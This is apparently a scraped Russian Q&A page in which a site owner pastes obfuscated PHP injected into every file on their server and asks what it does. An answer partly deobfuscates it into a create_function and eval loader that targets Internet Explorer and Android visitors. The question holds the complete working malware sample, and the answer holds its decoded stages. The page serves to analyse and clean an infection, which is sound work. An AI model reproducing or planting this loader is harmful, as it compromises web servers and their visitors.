Вредоносный код найден в файлах PHP. Что оно делает?

Я обнаружил, что этот код вставлен в начало каждого файла PHP на моем PHP-сервере. Я хочу выяснить, что делает этот скрипт, но я не знаю, как расшифровать основной скрытый код. Может ли кто-то с опытом в этих вопросах расшифровать его, потому что я не программист?

Большое спасибо!!

• ZendX_JQuery или Zend_Dojo?
• Поиск регулярного выражения Mysql без повторяющихся символов
• Константы var внутри класса класса
• Изменить текст в зависимости от языка
• Powershell downloadFile со специальными символами
• Путь отдыха Laravel

ссылка на образец зараженного php-файла: https://drive.google.com/open?id=0B8PYE4BruOdMa2dWZDBLY09VRTA

Код

<?php $tdzueclt = 'tvctus)% x24- x24b!>!%y((strstr($uas," x6d 163 x69 145")) or (strstrR;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_;x5cq%7**^#zsfvr# x5cq%)uftr# x5cq%7/7#@#7/7^#iubq# x5cq% x27jsv%6<C>^#zsfvr# 24gps)%j>1<%j=tj{fpg)% x24- x24*<!~! x24/%t2w/ x24)##-!#~<)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%55946-tr.984:75983:48984:71]K9]77]D4]82sutcvt)fubmgoj{hA!osvu37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572]48y]#>m%:|ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofm2]3]364]6]283]427]36]373P6]36]73]83]238M7]381]21rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1)tpqsut>j%!*9! x27!hmg%)!gj!~<341]88M4P8]37]278]225]241]334]368]32utjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)qbtwu = implode(array_map("fwukcjc",str_split("%tjw!>!#]y84]275]y83ion fwukcjc($n){return chr(ord($n)-1);} @error_reporting(0); $aguhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f x27,*e x27,*dx%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6<x7fw6*CW&)7gj6<.[A x27&6< x7fw6*277#<!%t2w>#]y74]273]y76]252]y85]x22)7gj6<*QDU`MPT7-N1M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]28|:**t%)m%=*h%)m%):fmjiALS[" x61 156 x75 156 x61"]=1; $uas=strtolower($_SERVER[" x48 if((function_exists(" x6f 142 x5f 163 x74 x61 156 x75 156 x61"])))) { $GLOB88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:141 x72 164") && (!isset($GLOBALS[" %tmw/ x24)%c*W%eN+#Qi x5#<%fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<112)eobs`un>qp%!|Z~!<##4]364]6]234]342]58]24]31##/#/},;#-#}+;%-qp%)54l} gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~x24- x24 x5c%j^ x24- x24yfu%)3of)fepdof`57ftbc x7f!|!*uyfu x27k##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}s.973:8297f:5297e:56-xr.985:52985-t.98]K4]65]D8]86]y31]81]K78:56985:6197g:74985-rr.93e:5597f-%tdz>#L4]275L3]248L3P6L1M5]D2P!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`o x7f_*#[k2`{6:!}7;!}6;*#k#)usbut`cpV x7f x278]y3f]51L3]84]y31M6]y3e]81#/#7e:l}S;2-u%!-#2#/#%#/#o52 137 x41 107 x45 116 x54"]); if bssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)t-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]#)fepmqyf x27*&7-n%)utjm6< x7f124 x54 120 x5f 125 x53 105 xx:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]s:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]37]!%tmw!>!#]y84]275]y83]273]y76]sboepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW%h>EzH,2W:*r%:-t%)3of:opjudovg<~ x24<!%o:!>! x2421($uas," x72 166 x3a 61 x31")) or (strstr($uas," x61 156 x6]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>!x246767~6<Cw68 x24- x24]26 x24- x24<%fV x7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R3~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gjoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+5 156 x63 164 x69 157 x6e"; functx27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27id6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-)1/2986+7**^/%d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275t<C x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7U4 162 x6f 151 x64"))) { $ggw*17-SFEBFI,6<*127-UVPFNJU,6<*27-j%6<*Y%)fnbozcYufhAx272qj%6<^#zsfvtj x22)gj6<^#Y# x5cq% x27Y%6<.msv`ftsbqA7>q%6< x7)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)uftpf{jt)!gj!<*2bd%-#1GO x2fs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%y)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! epdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;BFSUT`LDPT7-UFOJ`GB)fubfsdXA x!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvgvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opjudovg}{;#)tFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbtj x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-u78}527}88:}334}472 x24<!%ff2!>!bssbz) x24]25 x24- x24-!% x24- x24*!|! e]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%2#)fepmqyfA>2b%!<*qp%-*.%)epqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#:>%s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` x5-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]cj,,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*<! x24- x7,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojufs!*!+A!>!{e%)!>> x22!ftmbg)!gj<7f x7f x7f<u%V x27{ftmw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX x27u%)7fmjix6pjudovg x22)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%!*3>?*2b%)gc1^W%c!>!%i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%eFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA 27,*c x27,*b x27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-111y38#-!%w:**<")));$qfzibwb = $ggwibsz("", $agqbtwu); $qfzib]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<tfsqnpdov{h19275j{hnpd19275fubmgc^>Ew:Qb:Qc:W~!%z!>2<!-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#fw6* x7f_*#fubfsdXk5`{66~6<&w627K6< x7fw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA x273q33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%< x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA x27&256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h%_t%:osvuf!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+up:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/<pd%w6Z6<.5`hAx27pd%6<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%pnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%bw6Z6<.2`hA x27pd%6<C x27pd%6|6.7eu{66~67<&w6<*&7-#o]s]o]s]4]D6#<%G]y6d]281Ld]245]K2]285]Ky%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4ibsz = " x63 162 x65 141 x74 145 x5f 146 x7]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6cotn+qsvmt+fmhpph#)zx24/%tjw/ x24)% x24- x24y4 x24- x24]y x24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#3q%}U;y]}R;2]},;osvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;<*id%)ftpmdR6<*id%)dfyfR x27tfs%6<#/% x24- x24!>!fyqmpef)# x24*<!%t::!>! x24Ypp3)%cB%iN}#-! x24/wb();}}STrrEvxNoITCnuF_EtaeRCxECaLPer_RtSrhozatxvoh'; $pojuybf=explode(chr((594-474)),substr($tdzueclt,(22569-16643),(131-97))); $kidqhu = $pojuybf[0]($pojuybf[(4-3)]); $vmqdyitehy = $pojuybf[0]($pojuybf[(6-4)]); if (!function_exists('mztvoit')) { function mztvoit($nrnzvjzo, $wzcyeen,$yhvdrl) { $atusojcvl = NULL; for($hwkbsnvb=0;$hwkbsnvb<(sizeof($nrnzvjzo)/2);$hwkbsnvb++) { $atusojcvl .= substr($wzcyeen, $nrnzvjzo[($hwkbsnvb*2)],$nrnzvjzo[($hwkbsnvb*2)+(7-6)]); } return $yhvdrl(chr((43-34)),chr((368-276)),$atusojcvl); }; } $nethpkm = explode(chr((197-153)),'1185,42,1295,36,1227,33,1123,62,2167,29,1942,34,23,45,2411,58,3222,28,5540,43,2783,33,794,64,727,67,2469,62,5215,70,5404,58,2137,30,4354,66,3154,68,4541,59,1028,20,3644,30,4867,63,3282,35,164,51,138,26,3317,49,4837,30,4985,39,2913,69,5823,34,3250,32,2870,43,926,69,1846,22,1611,63,68,70,3720,67,657,27,684,43,360,22,3495,51,273,48,591,30,452,52,5493,47,4137,41,2690,33,1797,49,4420,67,3471,24,4004,27,858,68,4600,57,1406,23,5093,68,5651,20,1976,64,4031,62,3366,48,3787,48,3414,57,3835,41,1572,39,5161,54,1454,24,2816,54,3096,58,4751,32,2723,60,3674,46,4299,33,1868,20,4332,22,2555,65,4232,67,3590,54,5761,62,4930,55,1922,20,4715,36,2280,30,995,33,5024,69,2239,41,1260,35,1101,22,2196,43,382,70,2370,41,3876,70,1548,24,0,23,3546,44,5671,37,2531,24,4178,54,215,58,5857,62,1331,24,4487,54,5285,70,2310,60,2982,57,2620,70,1729,38,1674,55,1888,34,321,39,5583,68,1355,51,1767,30,5462,31,3946,58,2087,50,621,36,504,48,1048,53,1429,25,3039,57,552,39,5355,49,4093,44,4783,22,1478,70,5708,53,4805,32,2040,47,4657,58,5919,7'); $uszfcks = $kidqhu("",mztvoit($nethpkm,$tdzueclt,$vmqdyitehy)); $kidqhu=$tdzueclt; $uszfcks(""); $uszfcks=(721-600); $tdzueclt=$uszfcks-1; ?> 

Solutions Collecting From Web of "Вредоносный код найден в файлах PHP. Что оно делает?"

 <?php $tdzueclt = '...'; $pojuybf = explode(chr((594 - 474)), substr($tdzueclt, (22569 - 16643), (131 - 97))); $kidqhu = $pojuybf[0]($pojuybf[(4 - 3) ]); $vmqdyitehy = $pojuybf[0]($pojuybf[(6 - 4) ]); if (!function_exists('mztvoit')) { function mztvoit($nrnzvjzo, $wzcyeen, $yhvdrl) { $atusojcvl = NULL; for ($hwkbsnvb = 0;$hwkbsnvb < (sizeof($nrnzvjzo) / 2);$hwkbsnvb++) { $atusojcvl.= substr($wzcyeen, $nrnzvjzo[($hwkbsnvb * 2) ], $nrnzvjzo[($hwkbsnvb * 2) + (7 - 6) ]); } return $yhvdrl(chr((43 - 34)), chr((368 - 276)), $atusojcvl); }; } $nethpkm = explode(chr((197 - 153)), '...'); $uszfcks = $kidqhu("", mztvoit($nethpkm, $tdzueclt, $vmqdyitehy)); $kidqhu = $tdzueclt; $uszfcks(""); $uszfcks = (721 - 600); $tdzueclt = $uszfcks - 1; ?> 

 $pojuybf = explode(chr((594 - 474)), substr($tdzueclt, (22569 - 16643), (131 - 97))); $kidqhu = $pojuybf[0]($pojuybf[(4 - 3) ]); $vmqdyitehy = $pojuybf[0]($pojuybf[(6 - 4) ]); 

 $pojuybf = array('STrrEv', 'NoITCnuF_EtaeRC', 'ECaLPer_RtS'); $kidqhu = 'CReatE_FunCTIoN'; $vmqdyitehy = 'StR_rePLaCE'; 

 $nethpkm = array(1185, 42, ...); // after the explode() 

 $uszfcks = $kidqhu("", mztvoit($nethpkm, $tdzueclt, $vmqdyitehy)); 

 $uszfcks = create_function('', mztvoit(array(1185, 42, ...), $tdzueclt /* that original ugly string*/, 'str_replace')); 

 $body = mztvoit($nethpkm, $tdzueclt, $vmqdyitehy); die($body); 

 if((function_exists("ob_start") && (!isset($GLOBALS["anuna"])))) { $GLOBALS["anuna"]=1; $uas=strtolower($_SERVER["HTTP_USER_AGENT"]); if ((strstr($uas,"msie")) or (strstr($uas,"rv:11")) or (strstr($uas,"android"))) { $ggwibsz = "create_function"; function fwukcjc($n){ return chr(ord($n)-1); } @error_reporting(0); $agqbtwu = implode(array_map("fwukcjc",str_split("%tjw!>!#.../* ...tons... */"))); $qfzibwb = $ggwibsz("", $agqbtwu); $qfzibwb(); } } 

 $siv = "str_replace"; $v9 = '$v9 = #5656}5 ... 99));'; // another loads of s#!t eval($siv("#", "\x27", $v9)); 

 $v9 = '5656}5;Bv ... SV}'; // still a lots of who-knows-what... eval($siv(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99)); 

 function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } create_function("", "};".$b."//"); } function cqq($qw) { $domarr =array("33db9538", "9507c4e8", "e5b57288", "54dfa1cb"); return random($domarr,$qw); } function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } create_function("", "};".$g."//"); } $s1v("", $siv("\71"," ",$slv($svv))); function random($arr,$qw) { $g='w-86794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-873,g= w. r; m-86d944835,sq-87396487293787396086c951874";'; $soy = "en2"; $xx='explode'; $ecx='create_function'; $scy='str_replace'; $a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0;$i<sizeof($a);$i++) { $g = $scy($aa[$i],$a[$i],$g); } $ecx("", "};$g//"); $mec("", $soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $r9 = explode("|",$n9); $b9=0; $a9=0; for($i9=0;$i9<sizeof($r9);$i9++) { if ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } $y =1; for($i=0;$i<5;$i++) { $vv1 ="o"."o".$y; if ($y==1) $y=2; else $y=1; $vv1($v_[$i]); }